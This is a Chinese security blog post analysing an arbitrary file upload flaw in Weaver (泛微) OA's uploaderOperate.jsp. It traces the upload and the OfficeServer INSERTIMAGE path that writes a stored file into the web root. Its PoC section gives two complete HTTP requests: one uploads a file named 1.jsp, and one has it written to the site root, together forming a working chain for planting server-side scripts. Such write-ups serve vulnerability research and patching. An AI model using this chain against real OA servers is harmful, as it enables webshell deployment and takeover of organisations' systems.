X微OA uploaderOperate.jsp任意文件上传分析

泛微OA uploaderOperate.jsp任意文件上传分析

分析

上传

workrelate/plan/util/uploaderOperate.jsp 文件中从请求中获取了secIdplandetailid参数,当前面两个参数不为0能将数据入库并回显看到fileId; FileUploadrequest进行解析并上传。

weaver.file.FileUpload.FileUpload 调用 getAttachment

最终调用到MultipartRequest通过filePart.writeTo将文件压缩写入

weaver.docs.docs.DocExtUtil.uploadDocToImg 最终调用weaver.file.FileUpload.saveFile 将数据入库

返回fileId相关信息

解压

DBstep.OfficeServer.service 需要一个json 格式数据 OPTIONINSERTIMAGE , 并且isInsertImageNew 为1 才能调用到 com.api.odoc.util.OdocFileUtil.getFileFromByte

ImageFileManager.getInputStreamById 通过fileId 找文件读取为输入流

OdocFileUtil.inputStream2Byte将输入流转为byte array

GCONST.getRootPath() 网站根目录

str5 数据库里取出来的文件名

com.api.odoc.util.OdocFileUtil.getFileFromByte 将byte array 写入到根目录

Poc

  1. 上传

    POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1
    Host: 172.16.52.130:9999
    Content-Length: 354
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: ecology_JSessionid=aaabQZN0qk1O3eThq6jjy; JSESSIONID=aaabQZN0qk1O3eThq6jjy
    Connection: close
    
    ------WebKitFormBoundarymVk33liI64J7GQaK
    Content-Disposition: form-data; name="secId"
    
    1
    ------WebKitFormBoundarymVk33liI64J7GQaK
    Content-Disposition: form-data; name="Filedata"; filename="1.jsp"
    
    1111
    ------WebKitFormBoundarymVk33liI64J7GQaK
    Content-Disposition: form-data; name="plandetailid"
    
    1
    ------WebKitFormBoundarymVk33liI64J7GQaK--
    
    
  2. 根据响应包的 fileid 做解压

    POST /OfficeServer HTTP/1.1
    Host: 172.16.52.130:9999
    Content-Length: 201
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: ecology_JSessionid=aaabQZN0qk1O3eThq6jjy; JSESSIONID=aaabQZN0qk1O3eThq6jjy
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK
    Content-Length: 201
    
    ------WebKitFormBoundarymVk33liI64J7GQaK
    Content-Disposition: form-data; name="aaa"
    
    {'OPTION':'INSERTIMAGE','isInsertImageNew':'1','imagefileid4pic':'540'}
    ------WebKitFormBoundarymVk33liI64J7GQaK
    

验证


文章作者: 子杰
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 子杰 ! !
评论
  目录